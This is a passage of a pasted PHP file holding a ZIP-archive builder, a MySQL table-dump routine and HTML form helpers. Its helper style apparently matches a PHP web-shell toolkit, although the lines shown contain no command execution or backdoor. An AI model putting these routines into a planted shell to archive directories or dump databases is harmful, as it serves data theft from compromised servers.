  804. }
  805. $this->out = $this -> file();
  806. chdir($curdir);
  807. }
  808. return 1;
  809. }
  810. else return 0;
  811. }
  812.  
  813. function GetFileList($dir){
  814. static $a;
  815. if (is_dir($dir)) {
  816. if ($dh = opendir($dir)) {
  817. while ($file = readdir($dh)) {
  818. if($file!='.' && $file!='..'){
  819. $f=$dir .'/'. $file;
  820. if(is_dir($f)) $this->GetFileList($f);
  821. $a[]=$f;
  822. }
  823. }
  824. closedir($dh);
  825. }
  826. }
  827. return $a;
  828. }
  829.  
  830.  
  831.  
  832. var $datasec      = array();
  833. var $ctrl_dir     = array();
  834. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  835. var $old_offset   = 0;
  836.  
  837. function unix2DosTime($unixtime = 0) {
  838. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  839. if ($timearray['year'] < 1980) {
  840. $timearray['year']    = 1980;
  841. $timearray['mon']     = 1;
  842. $timearray['mday']    = 1;
  843. $timearray['hours']   = 0;
  844. $timearray['minutes'] = 0;
  845. $timearray['seconds'] = 0;
  846. } // end if
  847. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  848. ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  849. }
  850.  
  851. function addFile($data, $name, $time = 0) {
  852. $name = str_replace('\\', '/', $name);
  853. $dtime = dechex($this->unix2DosTime($time));
  854. $hexdtime   = '\x' . $dtime[6] . $dtime[7]
  855. . '\x' . $dtime[4] . $dtime[5]
  856. . '\x' . $dtime[2] . $dtime[3]
  857. . '\x' . $dtime[0] . $dtime[1];
  858. eval('$hexdtime = "' . $hexdtime . '";');
  859. $fr = "\x50\x4b\x03\x04";
  860. $fr .= "\x14\x00";
  861. $fr .= "\x00\x00";
  862. $fr .= "\x08\x00";
  863. $fr .= $hexdtime;
  864.  
  865. $unc_len = strlen($data);
  866. $crc = crc32($data);
  867. $zdata = gzcompress($data);
  868. $c_len = strlen($zdata);
  869. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  870. $fr .= pack('V', $crc);
  871. $fr .= pack('V', $c_len);
  872. $fr .= pack('V', $unc_len);
  873. $fr .= pack('v', strlen($name));
  874. $fr .= pack('v', 0);
  875. $fr .= $name;
  876. $fr .= $zdata;
  877. $fr .= pack('V', $crc);
  878. $fr .= pack('V', $c_len);
  879. $fr .= pack('V', $unc_len);
  880.  
  881. $this -> datasec[] = $fr;
  882. $new_offset = strlen(implode('', $this->datasec));
  883.  
  884. $cdrec = "\x50\x4b\x01\x02";
  885. $cdrec .= "\x00\x00";
  886. $cdrec .= "\x14\x00";
  887. $cdrec .= "\x00\x00";
  888. $cdrec .= "\x08\x00";
  889. $cdrec .= $hexdtime;
  890. $cdrec .= pack('V', $crc);
  891. $cdrec .= pack('V', $c_len);
  892. $cdrec .= pack('V', $unc_len);
  893. $cdrec .= pack('v', strlen($name) );
  894. $cdrec .= pack('v', 0 );
  895. $cdrec .= pack('v', 0 );
  896. $cdrec .= pack('v', 0 );
  897. $cdrec .= pack('v', 0 );
  898. $cdrec .= pack('V', 32 );
  899. $cdrec .= pack('V', $this -> old_offset );
  900. $this -> old_offset = $new_offset;
  901. $cdrec .= $name;
  902. $this -> ctrl_dir[] = $cdrec;
  903. }
  904.  
  905. function file() {
  906. $data    = implode('', $this -> datasec);
  907. $ctrldir = implode('', $this -> ctrl_dir);
  908. return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  909. }
  910. }
  911.  
  912.  
  913. function sqldumptable($table, $fp=0) {
  914. $tabledump = "DROP TABLE IF EXISTS $table;\n";
  915. $tabledump .= "CREATE TABLE $table (\n";
  916. $firstfield=1;
  917. $fields = q("SHOW FIELDS FROM $table");
  918. while ($field = mysql_fetch_array($fields)) {
  919. if (!$firstfield) {
  920. $tabledump .= ",\n";
  921. } else {
  922. $firstfield=0;
  923. }
  924. $tabledump .= "   $field[Field] $field[Type]";
  925. if (!empty($field["Default"])) {
  926. $tabledump .= " DEFAULT '$field[Default]'";
  927. }
  928. if ($field['Null'] != "YES") {
  929. $tabledump .= " NOT NULL";
  930. }
  931. if ($field['Extra'] != "") {
  932. $tabledump .= " $field[Extra]";
  933. }
  934. }
  935. fr($fields);
  936. $keys = q("SHOW KEYS FROM $table");
  937. while ($key = mysql_fetch_array($keys)) {
  938. $kname=$key['Key_name'];
  939. if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  940. $kname="UNIQUE|$kname";
  941. }
  942. if(!is_array($index[$kname])) {
  943. $index[$kname] = array();
  944. }
  945. $index[$kname][] = $key['Column_name'];
  946. }
  947. fr($keys);
  948.  
  949. while(list($kname, $columns) = @each($index)) {
  950. $tabledump .= ",\n";
  951. $colnames=implode($columns,",");
  952.  
  953. if ($kname == "PRIMARY") {
  954. $tabledump .= "   PRIMARY KEY ($colnames)";
  955. } else {
  956. if (substr($kname,0,6) == "UNIQUE") {
  957. $kname=substr($kname,7);
  958. }
  959. $tabledump .= "   KEY $kname ($colnames)";
  960. }
  961. }
  962.  
  963. $tabledump .= "\n);\n\n";
  964. if ($fp) {
  965. fwrite($fp,$tabledump);
  966. } else {
  967. echo $tabledump;
  968. }
  969.  
  970. $rows = q("SELECT * FROM $table");
  971. $numfields = mysql_num_fields($rows);
  972. while ($row = mysql_fetch_array($rows)) {
  973. $tabledump = "INSERT INTO $table VALUES(";
  974.  
  975. $fieldcounter=-1;
  976. $firstfield=1;
  977. while (++$fieldcounter<$numfields) {
  978. if (!$firstfield) {
  979. $tabledump.=", ";
  980. } else {
  981. $firstfield=0;
  982. }
  983.  
  984. if (!isset($row[$fieldcounter])) {
  985. $tabledump .= "NULL";
  986. } else {
  987. $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  988. }
  989. }
  990. $tabledump .= ");\n";
  991. if ($fp) {
  992. fwrite($fp,$tabledump);
  993. } else {
  994. echo $tabledump;
  995. }
  996. }
  997. fr($rows);
  998. if ($fp) {
  999. fwrite($fp,"\n");
  1000. } else {
  1001. echo "\n";
  1002. }
  1003. }
  1004.  
  1005. function ue($str){
  1006. return urlencode($str);
  1007. }
  1008.  
  1009. function p($str){
  1010. echo $str."\n";
  1011. }
  1012.  
  1013. function tbhead() {
  1014. p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  1015. }
  1016. function tbfoot(){
  1017. p('</table>');
  1018. }
  1019.  
  1020. function makehide($name,$value=''){
  1021. p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  1022. }
  1023.  
  1024. function makeinput($arg = array()){
  1025. $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  1026. $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  1027. !$arg['type'] && $arg['type'] = 'text';
  1028. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  1029. $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  1030. if ($arg['newline']) {
  1031. p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  1032. } else {
  1033. p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  1034. }
  1035. }
  1036.  
  1037. function makeselect($arg = array()){
  1038. if ($arg['onchange']) {
  1039. $onchange = 'onchange="'.$arg['onchange'].'"';
  1040. }
  1041. $arg['title'] = $arg['title'] ? $arg['title'] : '';
  1042. if ($arg['newline']) p('<p>');
  1043. p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  1044. if (is_array($arg['option'])) {
  1045. foreach ($arg['option'] as $key=>$value) {
  1046. if ($arg['selected']==$key) {
  1047. p("<option value=\"$key\" selected>$value</option>");
  1048. } else {
  1049. p("<option value=\"$key\">$value</option>");
  1050. }
  1051. }
  1052. }
  1053. p("</select>");
  1054. if ($arg['newline']) p('</p>');
  1055. }
  1056. function formhead($arg = array()) {
  1057. !$arg['method'] && $arg['method'] = 'post';
  1058. !$arg['action'] && $arg['action'] = $self;
  1059. $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  1060. !$arg['name'] && $arg['name'] = 'form1';
  1061. p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  1062. if ($arg['title']) {
  1063. p('<h2>'.$arg['title'].' &raquo;</h2>');
  1064. }
  1065. }
  1066.  
  1067. function maketext($arg = array()){
  1068. !$arg['cols'] && $arg['cols'] = 100;
  1069. !$arg['rows'] && $arg['rows'] = 25;
  1070. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  1071. p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  1072. }
  1073.  
  1074. function formfooter($name = ''){
  1075. !$name && $name = 'submit';
  1076. p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  1077. p('</form>');
  1078. }
  1079.  
  1080. function formfoot(){
  1081. p('</form>');
  1082. }
  1083.  
  1084. function pr($a) {
  1085. echo '<pre>';
  1086. print_r($a);
  1087. echo '</pre>';
  1088. }?>
Add Comment
Please, Sign In to add comment